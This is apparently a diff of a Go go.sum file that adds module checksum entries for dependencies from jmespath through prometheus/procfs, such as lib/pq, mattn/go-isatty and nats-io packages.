+github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo=
+github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
+github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
+github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
+github.com/jonboulle/clockwork v0.2.2/go.mod h1:Pkfl5aHPm1nk2H9h0bjmnJD/BcgbGXUBGnn1kMkgxc8=
+github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0=
+github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=
+github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
+github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
+github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
+github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
+github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
+github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
+github.com/juju/ratelimit v1.0.1/go.mod h1:qapgC/Gy+xNh9UxzV13HGGl/6UXNN+ct+vwSgWNm/qk=
+github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
+github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
+github.com/kardianos/service v1.2.0/go.mod h1:CIMRFEJVL+0DS1a3Nx06NaMn4Dz63Ng6O7dl0qH0zVM=
+github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
+github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=
+github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
+github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=
+github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
+github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
+github.com/klauspost/compress v1.12.3/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg=
+github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
+github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
+github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
+github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/letsencrypt/pkcs11key/v4 v4.0.0/go.mod h1:EFUvBDay26dErnNb70Nd0/VW3tJiIbETBPTl9ATXQag=
+github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/lib/pq v1.1.1/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
+github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
+github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM=
+github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4=
+github.com/lxn/walk v0.0.0-20210112085537-c389da54e794/go.mod h1:E23UucZGqpuUANJooIbHWCufXvOcT6E7Stq81gU+CSQ=
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
+github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ=
+github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
+github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
+github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA=
+github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg=
+github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
+github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
+github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
+github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
+github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
+github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-ieproxy v0.0.0-20190610004146-91bb50d98149/go.mod h1:31jz6HNzdxOmlERGGEc4v/dMssOfmp2p5bT/okiKFFc=
+github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
+github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
+github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
+github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
+github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
+github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
+github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
+github.com/mattn/go-shellwords v1.0.10/go.mod h1:EZzvwXDESEeg03EKmM+RmDnNOPKG4lLtQsUlTZDWQ8Y=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
-github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421 h1:ZqeYNhU3OHLH3mGKHDcjJRFFRrJa6eAM5H+CtDdOsPc=
+github.com/mattn/go-zglob v0.0.1/go.mod h1:9fxibJccNxU2cnpIKLRRFA7zX7qhkJIQWBb449FYHOo=
+github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
+github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
+github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
+github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
+github.com/micromdm/scep/v2 v2.1.0/go.mod h1:BkF7TkPPhmgJAMtHfP+sFTKXmgzNJgLQlvvGoOExBcc=
+github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
+github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
+github.com/miekg/pkcs11 v1.0.2/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
+github.com/miekg/pkcs11 v1.0.3-0.20190429190417-a667d056470f/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
+github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
+github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
+github.com/mitchellh/copystructure v1.0.0/go.mod h1:SNtv71yrdKgLRyLFxmLdkAbkKEFWgYaq1OVrnRcwhnw=
+github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s=
+github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
+github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
+github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
+github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
+github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
+github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
+github.com/mitchellh/reflectwalk v1.0.0/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
+github.com/mitchellh/reflectwalk v1.0.1/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
+github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
+github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
+github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
+github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
+github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
+github.com/mreiferson/go-httpclient v0.0.0-20160630210159-31f0106b4474/go.mod h1:OQA4XLvDbMgS8P0CevmM4m9Q3Jq4phKUzcocxuGJ5m8=
+github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
+github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
+github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo=
+github.com/mwitkow/go-proto-validators v0.2.0/go.mod h1:ZfA1hW+UH/2ZHOWvQ3HnQaU0DtnpXu850MZiy+YUgcc=
+github.com/nats-io/jwt v0.3.0/go.mod h1:fRYCDE99xlTsqUzISS1Bi75UBJ6ljOJQOAAu5VglpSg=
+github.com/nats-io/jwt v0.3.2/go.mod h1:/euKqTS1ZD+zzjYrY7pseZrTtWQSjujC7xjPc8wL6eU=
+github.com/nats-io/nats-server/v2 v2.1.2/go.mod h1:Afk+wRZqkMQs/p45uXdrVLuab3gwv3Z8C4HTBu8GD/k=
+github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzEE/Zbp4w=
+github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
+github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
+github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
+github.com/nbrownus/go-metrics-prometheus v0.0.0-20210712211119-974a6260965f/go.mod h1:nwPd6pDNId/Xi16qtKrFHrauSwMNuvk+zcjk89wrnlA=
+github.com/newrelic/go-agent v2.15.0+incompatible/go.mod h1:a8Fv1b/fYhFSReoTU6HDkTYIMZeSVNffmoS726Y0LzQ=
+github.com/ngdinhtoan/glide-cleanup v0.2.0/go.mod h1:UQzsmiDOb8YV3nOsCxK/c9zPpCZVNoHScRE3EO9pVMM=
+github.com/nishanths/predeclared v0.0.0-20200524104333-86fad755b4d3/go.mod h1:nt3d53pc1VYcphSCIaYAJtnPYnr3Zyn8fMq2wvPGPso=
+github.com/oklog/oklog v0.3.2/go.mod h1:FCV+B7mhrz4o+ueLpx+KqkyXRGMWOYEvfiXtdGtbWGs=
+github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA=
+github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
+github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
+github.com/olekukonko/tablewriter v0.0.4/go.mod h1:zq6QwlOf5SlnkVbMSr5EoBv3636FWnp+qbPhuoO21uA=
+github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
+github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
+github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
+github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
+github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk=
+github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis=
+github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74=
+github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
+github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
+github.com/openzipkin-contrib/zipkin-go-opentracing v0.4.5/go.mod h1:/wsWhb9smxSfWAKL3wpBW7V8scJMt8N8gnaMCS9E/cA=
+github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw=
+github.com/openzipkin/zipkin-go v0.2.1/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
+github.com/openzipkin/zipkin-go v0.2.2/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4=
+github.com/otiai10/copy v1.2.0/go.mod h1:rrF5dJ5F0t/EWSYODDu4j9/vEeYHMkc8jt0zJChqQWw=
+github.com/otiai10/curr v0.0.0-20150429015615-9b4961190c95/go.mod h1:9qAhocn7zKJG+0mI8eUu6xqkFDYS2kb2saOteoSB3cE=
+github.com/otiai10/curr v1.0.0/go.mod h1:LskTG5wDwr8Rs+nNQ+1LlxRjAtTZZjtJW4rMXl6j4vs=
+github.com/otiai10/mint v1.3.0/go.mod h1:F5AjcsTsWUqX+Na9fpHb52P8pcRX2CI6A3ctIT91xUo=
+github.com/otiai10/mint v1.3.1/go.mod h1:/yxELlJQ0ufhjUwhshSj+wFjZ78CnZ48/1wtmBH1OTc=
+github.com/pact-foundation/pact-go v1.0.4/go.mod h1:uExwJY4kCzNPcHRj+hCR/HBbOOIwwtUjcrb0b5/5kLM=
+github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
+github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
+github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo=
+github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
+github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac=
+github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc=
+github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
+github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
+github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
+github.com/pquerna/otp v1.0.0/go.mod h1:Zad1CMQfSQZI5KLpahDiSUX4tMMREnXw98IvL1nhgMk=
+github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
+github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs=
+github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
+github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
+github.com/prometheus/client_golang v1.3.0/go.mod h1:hJaj2vgQTGQmVCsAACORcieXFeDPbaTKGT+JTgUa3og=
+github.com/prometheus/client_golang v1.5.1/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU=
+github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=
+github.com/prometheus/client_golang v1.10.0/go.mod h1:WJM3cc3yu7XKBKa/I8WeZm+V3eltZnBwfENSU7mdogU=
+github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0=
+github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
+github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
+github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.1.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
+github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro=
+github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
+github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
+github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=
+github.com/prometheus/common v0.7.0/go.mod h1:DjGbpBbp5NYNiECxcL/VnbXCCaQpKd3tt26CguLLsqA=
+github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4=
+github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo=
+github.com/prometheus/common v0.18.0/go.mod h1:U+gB1OBLb1lF3O42bTCL+FK18tX9Oar16Clt/msog/s=
+github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc=
+github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=
+github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
+github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
+github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
+github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
+github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A=
+github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=
